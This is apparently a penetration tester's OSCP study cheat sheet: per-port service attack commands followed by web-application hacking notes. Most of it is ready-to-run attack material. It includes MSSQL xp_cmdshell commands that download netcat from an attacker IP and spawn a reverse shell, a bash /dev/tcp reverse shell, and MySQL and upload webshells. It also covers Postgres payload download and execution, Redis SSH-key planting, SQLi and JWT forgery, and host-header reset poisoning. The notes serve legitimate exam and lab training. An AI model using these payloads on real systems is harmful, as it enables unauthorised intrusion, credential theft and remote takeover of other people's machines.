rsync -av rsync://target/share/ ./loot/ # pull files
Often anonymous -> read/write -> drop keys/webshells.
Port 1099 — Java RMI
nmap -p1099 --script=rmi-dumpregistry <target>
Deserialization → RCE via BaRMIe, ysoserial payloads.
Port 1433 — MSSQL
nmap -p1433 -sV --script=ms-sql-info,ms-sql-empty-password target
netexec mssql target -u sa -p ''
impacket-mssqlclient sa:password@target -windows-auth
EXEC xp_cmdshell 'whoami';
EXEC sp_configure 'show advanced options',1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
EXEC xp_cmdshell 'powershell -enc <rev shell>';
SELECT * FROM sys.server_permissions; -- find IMPERSONATE
EXECUTE AS LOGIN = 'sa';
SELECT srvname FROM master..sysservers; -- linked servers (lateral)
EXEC ('xp_cmdshell ''whoami''') AT [LINKED];
Chaining: sa weak/blank -> xp_cmdshell -> shell as SQL service acct -> SeImpersonate -> Potato -> SYSTEM. Capture service-acct hash via xp_dirtree \\ATK\share + Responder.
Additional MSSQL commands:
impacket-mssqlclient -windows-auth <DOMAIN>/<USER>:<PASS>@<IP> # Windows auth
mssql-cli -S <server> -U <user> -P <pass>
sqsh -S <ip> -U <user> -P <pass> -D <db> # in sqsh: end queries with go
rpcclient -U "<domain>/svc_mssql%<pass>" <ip> # enumerate via the svc account
Port 1521 — Oracle DB
nmap -p1521 -sV --script=oracle-sid-brute target
odat all -s target
odat sidguesser -s target
SID brute -> cred brute (odat passwordguesser) -> odat utlfile/external table -> RCE. odat automates most.
Port 3000 — Grafana / Node / Rails
nmap -p3000 -sV <target>
# Grafana CVE-2021-43798 path traversal (unauthenticated)
curl --path-as-is "http://<target>:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
Fingerprint first — could be Grafana, Aerospike, Node/Express, Rails.
Port 3306 — MySQL / MariaDB
nmap -p3306 -sV --script=mysql-info,mysql-empty-password,mysql-users target
mysql -h target -u root -p # try root / blank, root:root
netexec mysql target -u root -p ''
SELECT LOAD_FILE('/etc/passwd'); -- read file (FILE priv)
SELECT '<?php system($_GET["c"]); ?>' INTO OUTFILE '/var/www/html/sh.php'; -- webshell
-- UDF privesc if mysql runs as root (raptor_udf) -> command exec as root
Chaining: creds in wp-config/app configs -> MySQL -> file read/write -> webshell. MySQL as root + UDF -> root.
nmap --script=mysql-databases,mysql-empty-password,mysql-enum,mysql-info,mysql-variables,mysql-vuln-cve2012-2122 <ip> -p 3306
mysql -u root # try no password
mysql -h <host> -u root
netexec mysql <target> -u root -p ""
show databases; use <db>; show tables; show columns from <table>; SELECT * FROM <table>;
SELECT user, password, host FROM mysql.user; -- MariaDB == MySQL syntax
Port 3389 — RDP
nmap -p3389 -sV --script=rdp-ntlm-info target # leaks hostname/domain/OS
xfreerdp /v:target /u:user /p:pass /cert:ignore +clipboard
xfreerdp /v:target /u:admin /pth:<NTLM> # pass-the-hash (RestrictedAdmin)
hydra -L users -P pass rdp://target # careful -- lockouts
BlueKeep CVE-2019-0708 (wormable, old Windows, risky -- can crash). Chaining: creds from anywhere -> RDP GUI -> interactive privesc.
Full xfreerdp options:
xfreerdp /d:CORP /u:<user> /p:<pass> /cert:ignore /v:<ip> # with domain
xfreerdp /v:<ip> /u:<user> /p:<pass> /cert:ignore /tls-seclevel:0 # downgrade TLS
xfreerdp /v:<ip> /u:<user> /p:<pass> /cert:ignore /drive:.,kali-share +clipboard # mount cwd
xfreerdp /v:<ip> /u:admin /p:pass /cert:ignore +sec-nla /bpp:16 /rfx +compression /network:lan # graphics issues
rdesktop <ip> -u <user> -p <pass> -g 80%
rdesktop <ip> -r disk:kali=/home/kali # shared drive
ncrack -vv --user <user> -P password-file.txt rdp://<ip>
Handy flags: /compression /auto-reconnect. xfreerdp can also pass a hash: /pth:<NTLM>.
Port 5432 — PostgreSQL
nmap -p5432 -sV target
psql -h target -U postgres # try postgres:postgres / blank
netexec postgres target -u postgres -p ''
COPY cmd_exec FROM PROGRAM 'id'; -- RCE (Postgres 9.3+)
CREATE TABLE x(t text); COPY x FROM '/etc/passwd'; -- read file
Chaining: COPY ... FROM PROGRAM -> RCE as postgres -> Linux privesc.
RCE workflow:
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
-- download payload, then run it:
COPY cmd_exec FROM PROGRAM 'powershell /c wget http://<ip>/payload.exe -o payload.exe';
COPY cmd_exec FROM PROGRAM 'payload.exe';
Port 5900 — VNC
nmap -p5900 -sV --script=vnc-info target
vncviewer target
hydra -P pass.txt vnc://target
No-auth/weak VNC -> direct GUI. Stored VNC passwords are reversible (vncpwd).
vncviewer -passwd <file> <ip>::5901 # connect with saved password file
Ports 5985/5986 — WinRM
nmap -p5985 -sV target
netexec winrm target -u user -p pass # validate
evil-winrm -i target -u user -p pass # shell
evil-winrm -i target -u admin -H <NTLM> # pass-the-hash
Needs valid creds; user in Remote Management Users or local admin. Cleanest Windows shell -- prefer over psexec.
Port 5984 — CouchDB
curl http://<target>:5984/_all_dbs
curl http://<target>:5984/_users
CVE-2017-12635 (create admin, no auth) + CVE-2017-12636 (RCE via query server).
Port 6379 — Redis
nmap -p6379 -sV --script=redis-info target
redis-cli -h target # often NO AUTH
redis-cli -h target ping # PONG = open
# write SSH key
redis-cli -h target config set dir /root/.ssh/
redis-cli -h target config set dbfilename authorized_keys
redis-cli -h target set x "ssh-rsa YOURKEY"
redis-cli -h target save
# or: write webshell / cron job -> reverse shell
Chaining: unauth Redis -> SSH key write -> instant SSH (often root).
RCE via module load (if writable path): redis-rogue-server.py
python ~/Downloads/tools/redis-rogue-server/redis-rogue-server.py
Port 6667 — IRC
nmap -p6667 -sV <target>
irssi -c <target> --port 6667
nc <target> 6667
Old IRC daemons (UnrealIRCd 3.2.8.1) have backdoors -> shell.
Ports 8080/8000/8443/9000 — Alt HTTP / App & Mgmt UIs
Treat as HTTP. Specifically host: Tomcat (/manager), Jenkins (/script), GlassFish, Spring Boot Actuators (/actuator/env, /heapdump -> secrets), Werkzeug debug, SonarQube (9000), Portainer (9000/9443), Cockpit (9090), JBoss/WildFly (8080/9990), Nexus/Artifactory (8081). Each has default creds + known CVEs. Check these alt ports as carefully as 80.
Proxy enumeration:
nikto -h <ip> -useproxy http://<proxy>:3128
curl -x http://<proxy>:3128 http://internal-host/
Port 8009 — AJP (Apache JServ / Ghostcat)
nmap -p8009 -sV --script=ajp-request <target>
Ghostcat CVE-2020-1938 — file inclusion / read WEB-INF via AJP (Tomcat < 9.0.31). Check immediately when 8009 is open. Sometimes leads to RCE.
Ports 9200/9300 — Elasticsearch
curl http://<target>:9200/_cat/indices
curl http://<target>:9200/_cat/nodes
curl "http://<target>:9200/<index>/_search?size=100"
Unauth -> dump all data. Old CVEs (2014-3120, 2015-1427) -> Groovy sandbox escape -> RCE.
Port 11211 — Memcached
nmap -p11211 --script=memcached-info <target>
echo "stats cachedump 1 100" | nc -q2 <target> 11211
Leaks cached session tokens, app data, sometimes credentials.
Port 27017 — MongoDB
nmap -p27017 -sV <target>
mongo <target>
No-auth MongoDB -> read all collections. Credentials often in first DB.
Quick "what do I do with this port" Reflex Table
| Port | First move |
|---|---|
| 21 | anon login; get all files |
| 22 | creds/keys destination |
| 23 | default creds; banner; Ctrl+] to escape |
| 25 | VRFY user enum |
| 53 | zone transfer |
| 69 | tftp get; try known filenames |
| 79 | finger @target; user enum |
| 80/443 | whatweb -> ferox -> nikto |
| 88/389/445 | AD — full methodology |
| 111/2049 | showmount; no_root_squash |
| 135 | rpcclient null session |
| 139/445 | null session -> users -> spray |
| 137 (UDP) | nmblookup; nbtscan |
| 161 (UDP) | snmpwalk public |
| 389 | ldapsearch anon; check descriptions |
| 512-514 | rlogin -l root; .rhosts |
| 548 | afp anon shares |
| 623 (UDP) | IPMI hash dump |
| 873 | rsync list; anon read/write |
| 1099 | RMI deserialization |
| 1433 | sa blank -> xp_cmdshell |
| 1521 | odat sidguesser -> passwordguesser |
| 3000 | Grafana CVE traversal |
| 3306 | root blank -> outfile/UDF |
| 3389 | rdp-ntlm-info -> xfreerdp |
| 5432 | COPY FROM PROGRAM |
| 5900 | vncviewer; no-auth check |
| 5984 | CouchDB unauth |
| 5985 | evil-winrm |
| 6379 | unauth -> write SSH key |
| 6667 | IRC backdoor check |
| 8009 | Ghostcat CVE-2020-1938 |
| 9200 | Elasticsearch unauth dump |
| 11211 | Memcached stats dump |
| 27017 | Mongo no-auth dump |
NSE Script Discovery (any service)
ls -la /usr/share/nmap/scripts | grep "<service>"
locate -r \.nse$ | xargs grep categories | grep <service>
nmap --script safe -p 445 <IP> # run all "safe" scripts
Web Application Hacking — Master Notes
Consolidated reference: your original notes + full session methodology. Organized for fast lookup under exam pressure.
TABLE OF CONTENTS
- Core Mindset & Attack Plan
- Phase 0 — Fingerprint
- Phase 1 — Known Application Path (CVEs, default creds, WordPress)
- Phase 2 — Mapping / Enumeration
- Phase 3 — Prioritized Attack Order
- Authentication Attacks - Login bypass / default creds - Registration & authenticated enumeration - Sessions & cookies (deep dive) - JWT - Password reset / forgot password
- SQL Injection
- Command Injection
- SSTI — Server-Side Template Injection
- LFI / RFI / Directory Traversal
- File Upload & Webshells
- XXE, IDOR, CSRF, XSS (other vulns)
- Database Reference (MySQL / MSSQL)
- Common App Credential Locations
- Resources & Links
- Misc / Unsorted
1. CORE MINDSET & ATTACK PLAN
You are hunting ONE foothold, not doing a full vuln assessment. The moment you find something that gives code execution or credentials, STOP testing and pursue it. This mindset alone kills most of the "web overwhelm."
The fixed sequence (never stand there wondering what's next):
Fingerprint
├─ Known app? → default creds → searchsploit version → app exploit/CVE → DONE (usually)
└─ Custom app? → map all inputs (ferox + manual walk)
└─ for each input, match attack by type:
login → default creds / SQLi bypass
DB-backed → SQLi
upload → webshell
?file= → LFI/traversal → log poison
OS-ish → command injection
reflected → SSTI → (XSS if bot present)
XML → XXE
└─ first thing that gives RCE or creds → STOP, pursue it
Rules that kill overwhelm:
- Fingerprint decides everything. Known app → CVE/default creds. Custom app → manual.
- Default creds before anything clever (60 seconds, ends boxes).
- One input at a time, by priority. You have a list now, not a "website."
- SQLi and file upload first among manual attacks — highest RCE/cred yield.
- Read source whenever LFI gives it (
php://filter) — their code shows the real vuln. - The moment you get RCE or creds, STOP testing and pursue.
- 45-minute rule: no foothold in 45 min → note it, move to another box, come back fresh.
- XSS/CSRF usually NOT the path on OSCP unless a box signals a bot/admin views input.
The OSCP web chain pattern: service → leaked info → next service → leaked info → foothold. It's a chain of small misconfigs, rarely one big exploit. When stuck, the missing link is usually info you already enumerated but didn't recognize.
2. PHASE 0 — FINGERPRINT
Always first. 5 minutes. Tells you which road to take.
whatweb http://192.168.226.247 # quick web enumeration
curl -I http://target # headers: Server, X-Powered-By, framework
nikto -h http://192.168.0.11 # prints header, finds known issues
Identify: web server (Apache/Nginx/IIS), language (PHP/ASP.NET/Java/Python), and any named application (WordPress, Tomcat, Jenkins, Drupal, GitLab, phpMyAdmin, Grafana...).
THE FORK:
- Known app/product? → STOP general testing. Go to Phase 1 (CVE hunt + default creds). Named apps are almost always exploited via known CVE or default creds, NOT a hand-found SQLi.
- Custom/bespoke app? → It won't have CVEs. Go to Phase 2 (manual). The vuln is in their code.
Headers can reveal a weird header that stands out → search for exploits related to it.
curl http://192.168.120.121:8000 -v # verbose, inspect all headers
3. PHASE 1 — KNOWN APPLICATION PATH
If fingerprint named a product, do this — you usually never reach Phase 2.
searchsploit <appname>
searchsploit <appname> <version>
# web search: "<app> <version> exploit" and "<app> <version> CVE"
Order:
- Default credentials — try immediately (see creds list).
- Version-matched public exploit — read the PoC, then run it.
- App-specific tooling (WordPress below).
- Admin panel → built-in RCE — Tomcat WAR deploy, Jenkins
/scriptconsole, phpMyAdmin SQL→outfile.
WordPress (WPScan)
# Enumerate plugins, themes, users
wpscan --url $URL --disable-tls-checks --enumerate p --enumerate t --enumerate u
# Brute force
wpscan --url $URL --disable-tls-checks -U users -P /usr/share/wordlists/rockyou.txt
# Aggressive plugin detection
wpscan --url $URL --enumerate p --plugins-detection aggressive
Vulnerable plugins are the usual WP entry point.
nmap HTTP methods (check for PUT/WebDAV etc.)
nmap -p80,443 --script=http-methods --script-args http-methods.url-path='/directory/goes/here'
4. PHASE 2 — MAPPING / ENUMERATION
You can't attack what you haven't mapped. Two parallel tracks.
Track 1 — Directory / file brute (run in background)
# feroxbuster (recursive)
feroxbuster -u http://target -w /usr/share/seclists/Discovery/Web-Content/raccoon.txt -x php,txt,html,bak,zip
# add extensions matching the language: aspx (IIS), jsp (Java)
# gobuster directory
gobuster dir -u $URL -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt -l -k -t 30
# gobuster files
gobuster dir -u $URL -w /opt/SecLists/Discovery/Web-Content/raft-medium-files.txt -l -k -t 30
Track 2 — Manual walk WHILE ferox runs (Burp on)
For every page, note:
- Every input: forms, URL params (
?id=,?page=,?file=), search boxes, uploads, headers the app reads. - Pages that reflect your input back → XSS/SSTI candidate.
- Pages that query a DB (login, search, listings) → SQLi candidate.
- Params that look like a filename/path (
?page=,?file=,?doc=) → LFI/traversal candidate. - Params that look like a number/ID → IDOR candidate.
- Login pages → default creds, SQLi bypass, user enum.
Always check these:
.SVN, robots.txt, sitemap.xml, .DS_STORE, .git, security.txt, .DS_Store
- page source code (HTML comments)
- linked JS files (endpoints + keys)
- error pages (version/path leaks)
- enumerate subdomains / vhosts
Subdomain / vhost brute
# gobuster DNS
gobuster dns -d domain.org -w /opt/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 30
# "just make sure any DNS name you find resolves to an in-scope address before you test it"
Subdomain brute walkthrough: https://0xdf.gitlab.io/2020/09/12/htb-travel.html
Parameter fuzzing
# Test for parameter existence
wfuzz -c -z file,/opt/SecLists/Discovery/Web-Content/burp-parameter-names.txt "$URL"
Fuzz each parameter in a request from Burp Suite. Use the paramminer extension.
Authenticated fuzzing (after you have a session — see registration section)
# Authenticated directories
wfuzz -c -z file,/opt/SecLists/Discovery/Web-Content/raft-medium-directories.txt --hc 404 -d "SESSIONID=value" "$URL"
# Authenticated files
wfuzz -c -z file,/opt/SecLists/Discovery/Web-Content/raft-medium-files.txt --hc 404 -d "SESSIONID=value" "$URL"
More wfuzz wordlists
# Large directories / files / words
wfuzz -c -z file,/opt/SecLists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "$URL"
wfuzz -c -z file,/opt/SecLists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"
wfuzz -c -z file,/opt/SecLists/Discovery/Web-Content/raft-large-words.txt --hc 404 "$URL"
# Users
wfuzz -c -z file,/opt/SecLists/Usernames/top-usernames-shortlist.txt --hc 404,403 "$URL"
Other recon
# Extract IPs from a text file
grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' nmapfile.txt
# Social recon
theharvester -d domain.org -l 500 -b google
Tools also worth running: Gospider (crawler).
Flags: -a user-agent, -c cookies, -d backup files, -x extensions, -H headers, -m method, -o output, -k ignore SSL. Order: common.txt → big.txt → SecLists raft medium/large / directory-list-2.3.
5. PHASE 3 — PRIORITIZED ATTACK ORDER
Match the attack to the input type, highest foothold-probability first.
| Priority | Input type | Attack |
|---|---|---|
| 1 | Login page | default creds / admin'-- - SQLi bypass / brute |
| 2 | Any DB-backed input | SQL injection |
| 3 | Upload feature | webshell → reverse shell |
| 4 | Filename-looking param (?page=) |
LFI / traversal → log poison |
| 5 | OS-touching input (ping, lookup) | command injection |
| 6 | Reflected-into-template input | SSTI |
| 7 | Reflected/stored input | XSS (only if bot/admin views it) |
| 8 | XML accepted (upload/API/SOAP) | XXE |
Don't test every attack on every input. Work the list top-down. First thing that gives RCE or creds → stop, pursue.
6. AUTHENTICATION ATTACKS
Where auth testing fits
- Quick unauthenticated pass first: fingerprint, note login/register forms (they're inputs too), kick off ferox, grab robots/comments/JS. Don't linger.
- Register immediately after that quick pass — registration unlocks most of the real attack surface.
- Re-map authenticated (re-run ferox with your cookie, re-walk logged in).
- A few boxes block registration — that's a signal the foothold is elsewhere.
Login Bypass / Default Creds
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'# # pound so nothing after our injection is read by server
admin')-- - # basic auth bypass with comments
' or '1'='1
- First quote breaks out of the query; OR is then read as a command, not a string → reads as true.
Common creds to try first:
admin:admin
admin:'
admin:letmein
admin:password
Login bypass reference: https://book.hacktricks.xyz/pentesting-web/login-bypass
Registration & Authenticated Enumeration
After registering, re-run dir brute authenticated — finds pages the unauth scan never saw:
feroxbuster -u http://target -w wordlist -x php,txt,html -H "Cookie: session=YOUR_TOKEN"
What registration unlocks (test once logged in):
- IDOR / ID swaps — your
uid=1003; try1,2(admin often lowest ID). Change IDs in URLs, requests, and cookies. - Cookie/session tampering — now you have a real token to decode and tamper (see below).
- Mass assignment — add an unexpected field to registration/profile POST:
role=admin,isAdmin=true,is_staff=1. Highest-value registration attack. - Profile fields → stored XSS/SSTI — reflected where an admin sees it.
- File upload — avatar/document upload = most common authenticated RCE path.
- Search/filter/export — DB queries → SQLi.
Registration-flow attacks themselves:
- Register as existing user /
admin→ error confirms existence (enum) or overwrites. - Email/username collision:
admin@site.com,admin(leading space),admin(trailing), case variants. - Mass assignment at registration (above).
- Weak/no email verification.
Sessions & Cookies — DEEP DIVE
What you're attacking: the session token is a bearer credential — whoever holds it IS that user. Three goals: steal it, forge/guess it, or make the server trust a token it shouldn't.
Tools: Cookie Quick Manager (browser extension), Burp Decoder + Sequencer.
Inspect Set-Cookie flags (these enable other attacks):
- Missing HttpOnly → JS can read cookie → XSS can steal session.
- Missing Secure → sent over HTTP → sniffable.
- Missing/weak SameSite (None/absent) → CSRF viable.
- Broad Domain (
.site.com) → shared with subdomains. - Long/no expiry → stolen tokens valid forever.
1. Session Prediction / Weak Generation
- Capture 5–10 tokens, line them up. Sequential? Timestamp? Short? Low entropy?
- Decode: base64/hex/URL. Decodes to
username:timestamporuserid=42? → forgeable. - Tokens that look random but are
md5(username),md5(userid),md5(timestamp)→ hash a guess and compare. - Burp Sequencer automates entropy analysis.
- Exploit: predict admin's token, set it in your cookie, become them.
2. Session Fixation
- Note session cookie BEFORE login. Log in. Did the value change? Identical = vulnerable.
- Exploit: plant a known session ID on victim (crafted
?sessionid=Xlink, XSS, header injection); victim logs in with it; you use the same ID. - Key tell: session ID accepted from URL or settable client-side + no rotation on login.
3. Session Hijacking via Theft
- XSS (HttpOnly missing), network sniff (Secure missing), token in URL (history/Referer/logs), Referer leakage.
- Exploit: drop stolen token into your cookie jar / Burp, replay.
4. Cookie Tampering / Trust-in-Client
- Decode every cookie (base64/hex/URL). Look for
role=user,admin=0,isAdmin=false,user_id=42,group=2. - Modify + replay:
role=admin,admin=1,user_id=1.
auth=eyJ1c2VyIjoiYm9iIiwicm9sZSI6InVzZXIifQ==
→ base64 decode → {"user":"bob","role":"user"}
→ change to {"user":"bob","role":"admin"} → re-encode → replay
Cookie: user=bob; admin=false → admin=true
Cookie: uid=1003 → uid=1 (admin)
Cookie: account=dXNlcg== → base64("user") → swap to base64("admin")
- Trailing hash/signature segment? → signed (JWT/HMAC), see below. No signature = tamper freely.
5. Insufficient Expiration / Invalidation
- Logout test: capture token, log out, replay old token. Works? → no server-side invalidation.
- Idle/absolute timeout test (token works hours later?).
- Password-change test (other sessions killed?).
- Concurrent sessions allowed?
6. Session Puzzling / Variable Overloading
- App reuses one session variable for two purposes (e.g. reset flow stores
session.user, auth area readssession.user). Start a reset foradmin, visit authenticated area → treated as admin.
7. Token Leakage Channels
- Referer header, browser history/bookmarks, server/proxy/WAF logs, web cache, error/stack traces,
Set-Cookieover an HTTP redirect step.
8. "Remember Me" / other tokens
- Often a separate, long-lived, weak token. Decode it: sometimes
base64(username:md5(password))→ reversible, bypasses session entirely. - localStorage tokens aren't HttpOnly → XSS reads them trivially.
- OAuth
state/codein URL → test fixation/replay/reuse.
Testing workflow (Burp on):
- Log in, capture
Set-Cookie, note every cookie + flags. - Decode every cookie (Decoder). Readable → tamper. Signed → JWT path.
- Compare pre/post-login tokens → fixation.
- Many tokens → Sequencer → predictability.
- Logout + replay → invalidation.
- Flag audit → missing HttpOnly/Secure/SameSite.
- If JWT → jwt_tool.
- Map privilege fields → swap role/uid/admin → replay.
OSCP reality: highest-probability wins are cookie tampering with a privilege field, predictable tokens, IDOR-style ID swaps in cookies (uid=1), and weak JWT secrets. XSS/CSRF/CSWSH only matter when a box signals an admin/bot views input.
JWT (JSON Web Tokens)
Format: header.payload.signature (base64url). The signature is the whole attack surface.
alg: none— set header alg tonone, strip signature. If honored → forge any claims.- Weak HMAC secret — crack offline:
hashcat -m 16500 jwt.txt rockyou.txt→ re-sign forged tokens. - Algorithm confusion (RS256→HS256) — sign with HS256 using the RSA public key as the HMAC secret.
kidinjection — path traversal / SQLi ifkidbuilds a path or query.jku/x5u— if server fetches keys from a URL without validation, host your own.- Unvalidated claims — change
exp, swapsub/user, escalaterole. - Tool:
jwt_tool <token>(-Ccrack,-Xconfusion/injection).
Password Reset / Forgot Password
Test when you hit auth flows; prioritize higher if you have a username (admin) and no other foothold.
1. Host Header Poisoning (test first)
POST /forgot-password
Host: attacker.com ← change this
email=admin@site.com
Variants: X-Forwarded-Host: attacker.com, Host: target.com.attacker.com, Host: target.com:@attacker.com. Reset link points to your server → capture token. (Needs victim click or readable mail spool.)
2. Token Predictability — request several tokens, analyze like session tokens. md5(email) / base64(userid) → compute admin's token directly.
3. Token Leakage in Response — read the full HTTP response (JSON, hidden field, Location header). Token there = instant reset, no email needed.
4. Token Not Tied to User (IDOR) — get a valid token for your account, submit final reset with your token but victim's email/id:
POST /reset
token=YOUR_VALID_TOKEN
email=admin@site.com ← or user_id=1, username=admin
new_password=Pwned123!
5. Parameter Pollution / Multiple Recipients
email=admin@site.com&email=attacker@evil.com
email=admin@site.com,attacker@evil.com
email=admin@site.com%0a%0dcc:attacker@evil.com ← CRLF injection
6. Flow Manipulation — skip/flip a step: {"verified":false}→true, {"step":2}→{"step":3}, navigate straight to final reset URL.
7. Account Enumeration — valid vs invalid email gives different message/timing/status → feed username list to spray/brute/AS-REP.
8. Reusable / Non-Expiring Tokens — reuse a token after consuming it; check if requesting a new one invalidates the old.
9. Authenticated Change-Password Flaws — change password without supplying old one? CSRF-able? Change another user's via IDOR?
10. SQLi in the Reset Field — admin@site.com', ' OR 1=1-- -. Sometimes the only place a query is reachable unauthenticated.
OSCP reality: realistic wins (no victim needed) = token in response, predictable tokens, IDOR reset, param pollution. Host header poisoning usually needs a simulated user. Account enumeration almost always works.
7. SQL INJECTION
SQLi payload list: https://github.com/payloadbox/sql-injection-payload-list MSSQL reference: https://cheats.philkeeble.com/active-directory/mssql
Detection
' " ') → error or behavior change = SQLi
' OR 1=1-- -
'or 1=1 in (select @@version) -- /
Auth bypass
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin')-- -
Union-based extraction
' order by 1-- - # detect column count
' ORDER BY 5-- -
cn' UNION select 1,2,3-- - # detect columns via union
cn' UNION select 1,@@version,3,4-- - # basic union
' UNION SELECT 1,username,password,4,5 FROM users-- -
1 UNION SELECT first_name, password FROM users #
UNION select username, 2, 3, 4 from passwords-- -
DB Enumeration (MySQL)
SELECT @@version # fingerprint with output
SELECT SLEEP(5) # fingerprint, no output (blind)
cn' UNION select 1,database(),2,3-- - # current db name
cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- - # all databases
cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- - # tables in db
cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- - # columns in table
cn' UNION select 1, username, password, 4 from dev.credentials-- - # dump from another db
Privileges (MySQL)
cn' UNION SELECT 1, user(), 3, 4-- - # current user
cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- - # admin?
cn' UNION SELECT 1, grantee, privilege_type, is_grantable FROM information_schema.user_privileges WHERE user="root"-- - # all privs
cn' UNION SELECT 1, variable_name, variable_value, 4 FROM information_schema.global_variables where variable_name="secure_file_priv"-- - # readable dirs
File read/write (MySQL)
cn' UNION SELECT 1, LOAD_FILE("/etc/passwd"), 3, 4-- - # read file
select 'file written successfully!' into outfile '/var/www/html/proof.txt' # write string
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/html/shell.php'-- - # write webshell
MSSQL → RCE via xp_cmdshell (these WORKED on an ASP server with MSSQL)
'; EXEC xp_cmdshell 'powershell wget -Uri http://192.168.45.179/nc.exe -OutFile C:\Users\Public\nc.exe' --
'; EXEC xp_cmdshell 'C:\Users\Public\nc.exe -e cmd.exe 192.168.45.179 80' --
'; EXEC xp_cmdshell 'powershell C:\Users\Public\nc.exe -e cmd.exe 192.168.45.179 80' --
(Enable first if needed: EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;)
Chain: sa weak/blank → xp_cmdshell → shell as SQL service account → SeImpersonate → Potato → SYSTEM.
MySQL operator precedence (for crafting payloads)
Division (/) Multiplication (*) Modulus (%)
Addition (+) Subtraction (-)
Comparison (=, >, <, <=, >=, !=, LIKE)
NOT (!)
AND (&&)
OR (||)
Automated (try manual first to understand it)
sqlmap -u "url?id=1" -p id --batch --dbs
sqlmap -u $URL --threads=2 --time-sec=10 --level=2 --risk=2 --technique=T --force-ssl
sqlmap -u $URL --threads=2 --time-sec=10 --level=4 --risk=3 --dump
# add --cookie for authenticated
8. COMMAND INJECTION
Operators to test
; id | id `id` $(id) && id %0a id
Examples
IP/vuln?ping=192.168.50.51 ; bash -i >& /dev/tcp/192.168.50.51/1337 0>&1
Blind: time-based ; sleep 5 or OOB ; ping -c1 ATK.
Brute force command injection / automated
# wfuzz with POST data
wfuzz -c -z file,/opt/SecLists/Fuzzing/command-injection-commix.txt -d "doi=FUZZ" "$URL"
# commix (ssl, waf bypass, random agent)
commix --url="https://domain.com?parameter=" --level=3 --force-ssl --skip-waf --random-agent
9. SSTI
{{7 * 7}} → if result shows 49, reflected value is rendered/executed
(engines: Twig, Jinja2)
${7*7} #{7*7} <%= 7*7 %> → other engine syntaxes
{{7*'7'}} → if shows 7777777 = Jinja2; if 49 = Twig
Jinja2 RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Confirm 49 → identify engine → engine-specific RCE payload.
10. LFI / RFI / DIRECTORY TRAVERSAL
Basic traversal / LFI
IP/vuln?page=../../../../../../../etc/passwd
../../../../../proc/self/cmdline
/proc/self/environ
URL-encoded traversal (filter bypass):
IP/vuln?page=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Finetpub%2Fwwwroot%2FWeb.config
IP/vuln?page=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fleo%2F.ssh%2Fid_rsa
Read source via PHP filter
php://filter/convert.base64-encode/resource=index.php
php://filter/convert.base64-encode/resource=
RFI
IP/vuln?page=http://192.168.50.51/reverse.py
Log poisoning (LFI → RCE)
- Inject PHP into a logged field (User-Agent), then include the log:
?page=/var/log/apache2/access.log
- Possible to add PHP execution in the User-Agent string.
<?php system($_REQUEST['anything']); ?>
Then in browser: /file_or_other&anything=uname -a to run commands (download a shell + execute, or a mkfifo rev shell). Try URL encoding too.
- Other LFI→RCE:
/proc/self/environ, PHP session files, php filter chains. - Reference boxes: HTB IPPSec Poison, Beat.
LFI — Windows file targets
C:\boot.ini
..\..\..\..\boot.ini
/boot.ini
/autoexec.bat
/windows/system32/drivers/etc/hosts
/windows/repair/SAM
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log (year month day)
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
LFI — Linux file targets
(web root may be several dirs down — prefix with ../../..)
/etc/passwd
/etc/shadow
/etc/resolv.conf
/etc/motd
/etc/issue /etc/issue.net
/etc/master.passwd
/etc/group
/etc/hosts
/etc/crontab
/etc/sysctl.conf
/etc/syslog.conf
/etc/chttp.conf
/etc/lighttpd.conf
/etc/cups/cupsd.conf
/etc/inetd.conf
/opt/lampp/etc/httpd.conf
/etc/samba/smb.conf
/etc/openldap/ldap.conf
/etc/ldap/ldap.conf
/etc/exports
/etc/auto.master
/etc/auto_master
/etc/fstab
/home/xxx/.bash_history
11. FILE UPLOAD & WEBSHELLS
Local webshells
/usr/share/webshells/php/simple-backdoor.php
http://.../simple-backdoor.php?cmd=id
http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd # linux host
http://target.com/meteor/uploads/back.pHP?cmd=type+C:\xampp\passwords.txt # windows, "type" reads file
Filter bypasses
- Double extension (
shell.php.jpg), case (.pHP,.pHp), alt extensions (.phtml,.php5,.phar), content-type spoof, magic bytes. - Image upload with magic bytes: prepend
GIF89a;(orGIF89a1) to make it pass image checks. - If app source uses an
includefunction, it runs any PHP. Upload an image with PHP code prepended (via Burp); when the image is executed/included, the PHP runs → reverse shell.
Download nc / tools from attacker via webshell
